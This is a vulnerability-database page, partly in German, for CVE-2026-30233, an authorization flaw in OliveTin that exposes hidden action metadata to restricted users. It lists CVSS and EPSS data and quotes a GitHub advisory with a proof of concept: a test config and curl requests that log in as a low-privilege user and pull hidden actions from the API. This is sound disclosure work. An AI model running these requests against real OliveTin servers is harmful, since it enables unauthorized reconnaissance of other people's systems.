CVE-2026-30233

mediumPriorität · verfolgen · 17OT-Risiko · erhöhtEPSS 0.004 · 37. PerzentilEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.43% (37th) EPSS
CVSS 4.3 · medium
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-27

OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

6.5
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:Nprimary · NVD / NIST USAusnutzbarkeit 2.8 · Auswirkung 1.4
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:Nsecondary · ENISA EU
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 2.8 · Auswirkung 3.6
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v3.14mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-jf73-858c-54pgOliveTin doesn't check view permission when returning dashboards2026-03-05ghsa · osvUS

    ### Summary An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. ### Details OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses. Relevant source locations: dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430) Dashboard building logic: ``` for _, binding := range rr.ex.MapActionBindings { if binding.Action.Hidden { continue } action := buildAction(binding, rr) // checks IsAllowedExec only fieldset.Contents = append(fieldset.Contents, ...) } ``` Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false). ### PoC 1. Configure OliveTin with a restricted user: Create config.yaml: ```yaml authRequireGuestsToLogin: true authLocalUsers: enabled: true users: - username: admin password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: admin123 permissions: view: true exec: true logs: true - username: low password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: low123 permissions: view: false # Should hide all actions exec: false logs: false actions: - title: "Secret Action" id: secret_action shell: echo "sensitive operation" icon: "🔒" description: "This action should be completely hidden" arguments: - name: target title: Target type: string default: production ``` 2. Start OliveTin with this configuration 3. Login as low-privilege user and capture session ID: ```bash # Login as low user LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \ -H 'Content-Type: application/json' \ -d '{"username":"low","password":"low123"}' \ | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ') echo "Low user SID: $LOW_SID" ``` 4. Verify the web UI respects view:false (optional but illustrative): Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI. 5. Test 1: GetDashboard endpoint leaks action metadata: ```bash curl -s -X POST http://localhost:1337/api/GetDashboard \ -H 'Content-Type: application/json' \ -H "Cookie: olivetin-sid-local=$LOW_SID" \ -d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")' ``` Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable): ```json { "action": { "bindingId": "secret_action", "title": "Secret Action", "icon": "🔒", "description": "This action should be completely hidden", "canExec": false, "arguments": [ { "name": "target", "title": "Target", "type": "string", "default": "production" } ] } } ``` 6. Test 2: GetActionBinding endpoint directly exposes action details: ```bash curl -s -X POST http://localhost:1337/api/GetActionBinding \ -H 'Content-Type: application/json' \ -H "Cookie: olivetin-sid-local=$LOW_SID" \ -d '{"bindingId":"secret_action"}' | jq '.' ``` Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable): ```json { "action": { "bindingId": "secret_action", "title": "Secret Action", "icon": "🔒", "description": "This action should be completely hidden", "canExec": false, "arguments": [...] } } ```

  • GO-2026-4629OliveTin doesn't check view permission when returning dashboards in github.com/OliveTin/OliveTin2026-03-10vendor · osvUS

    OliveTin doesn't check view permission when returning dashboards in github.com/OliveTin/OliveTin

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auch bekannt als (5)

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07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-03-06geändert 2026-06-17
09

Referenzen (11)

Externe Belege — Patches, Meldungen, Analysen.

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